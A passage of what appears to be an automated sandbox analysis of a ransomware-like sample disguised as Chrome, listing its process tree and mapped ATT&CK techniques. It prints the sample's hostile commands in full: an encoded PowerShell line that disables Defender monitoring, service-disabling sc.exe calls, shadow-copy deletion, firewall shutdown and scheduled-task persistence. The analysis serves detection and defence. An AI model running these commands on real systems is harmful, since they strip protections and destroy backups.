PID 4372 wrote to memory of 4240	4372	electricstud.io_chrome.exe	135
PID 4372 wrote to memory of 2732	4372	electricstud.io_chrome.exe	139
PID 4372 wrote to memory of 4264	4372	electricstud.io_chrome.exe	141
PID 4372 wrote to memory of 1132	4372	electricstud.io_chrome.exe	143
PID 4372 wrote to memory of 5348	4372	electricstud.io_chrome.exe	144
PID 4372 wrote to memory of 1308	4372	electricstud.io_chrome.exe	145
PID 4372 wrote to memory of 4556	4372	electricstud.io_chrome.exe	146
PID 4372 wrote to memory of 3284	4372	electricstud.io_chrome.exe	147
PID 4372 wrote to memory of 400	4372	electricstud.io_chrome.exe	148
PID 4372 wrote to memory of 4276	4372	electricstud.io_chrome.exe	152
PID 4372 wrote to memory of 5776	4372	electricstud.io_chrome.exe	157
PID 4372 wrote to memory of 328	4372	electricstud.io_chrome.exe	158
PID 4372 wrote to memory of 5468	4372	electricstud.io_chrome.exe	160
PID 4372 wrote to memory of 5640	4372	electricstud.io_chrome.exe	161
PID 4372 wrote to memory of 4848	4372	electricstud.io_chrome.exe	162
PID 4372 wrote to memory of 3688	4372	electricstud.io_chrome.exe	198
PID 4372 wrote to memory of 2672	4372	electricstud.io_chrome.exe	164
PID 1132 wrote to memory of 2748	1132	cmd.exe	171
PID 4264 wrote to memory of 1016	4264	cmd.exe	172
PID 5640 wrote to memory of 2168	5640	net.exe	197
PID 4556 wrote to memory of 2836	4556	cmd.exe	174
PID 400 wrote to memory of 4700	400	cmd.exe	175
PID 5348 wrote to memory of 336	5348	cmd.exe	176
PID 1308 wrote to memory of 4472	1308	cmd.exe	177
PID 3284 wrote to memory of 844	3284	cmd.exe	178
PID 2836 wrote to memory of 1692	2836	net.exe	179
PID 4264 wrote to memory of 4780	4264	cmd.exe	191
PID 4492 wrote to memory of 4608	4492	chrome.exe	181
PID 4492 wrote to memory of 5436	4492	chrome.exe	182
PID 4492 wrote to memory of 5436	4492	chrome.exe	182
PID 4492 wrote to memory of 4252	4492	chrome.exe	183
PID 4492 wrote to memory of 4252	4492	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://electricstud.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x50,0x134,0x7ffdb18ec728,0x7ffdb18ec734,0x7ffdb18ec740
    3⤵
    PID:5128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1628,i,15143740188294886216,17433693523933915801,262144 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:2
    3⤵
    PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1492,i,568369086405972901,10069367123018070704,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2244,i,7195694184409885887,13196320475761452709,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:13
    3⤵
    PID:3248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,1986561722393034090,4633925337903195341,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:1960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,3717416852539070689,13115777540164435433,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:2196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4580,i,16093565585224844733,15948648159413776710,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:1224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4848,i,12508659105002764456,6903198579016755388,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:1
    3⤵
    PID:5380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=260,i,1596707926285573226,8639777414770821920,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
    3⤵
    PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3420,i,6573990379114215827,15709295510871583695,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
    3⤵
    PID:5436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3428,i,3408597592109120984,15233348916815035929,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:4252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3440,i,15518087143366882081,10146955439757804277,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
    3⤵
    PID:3252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5772,i,3867876242951030805,12291751922987113946,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:4424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5824,i,8624074404127216737,5259687281744753541,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
    3⤵
    PID:5076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5952,i,11008852539112251572,3841001296126151634,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:14
    3⤵
    PID:620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5324,i,14771548535547636954,17866018165189570051,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:14
    3⤵
    PID:5816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5304,i,14343040088797798895,18398683670861212811,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:14
    3⤵
    PID:4780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6116,i,5000238979230224876,6722441490883980549,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:1
    3⤵
    PID:3236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=260,i,10316568428509986005,17113208596258994316,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
    3⤵
    PID:5276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5632,i,685666903506677390,6087285588551732390,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:1
    3⤵
    PID:6124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5564,i,3396278880513867650,13017445915654014988,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:1
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5824,i,7881580848151998820,1611230260270785352,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:1064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5216,i,17099116658619636202,11183826273431723342,524288 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
    3⤵
    PID:2168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6016,i,12809812842600998117,15830494983820042652,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:9
    3⤵
    PID:3688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5540,i,1247374181106598463,11728449083929510886,2097152 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:4816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=904,i,7595216319190197339,5818794667367201834,262144 --field-trial-handle=2188,i,13719949944726532727,1472766554575159174,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:10
    3⤵
    PID:4236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4652
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe"
    3⤵
    PID:2356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3324
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5656
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5332
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1816
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5332
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4240
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1016
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4700
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4276
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5776
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:328
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5468
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2168
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2672

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2568

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:576

C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
1⤵
PID:3092

C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\electricstud.io_chrome.exe
1⤵
PID:3188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5752

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery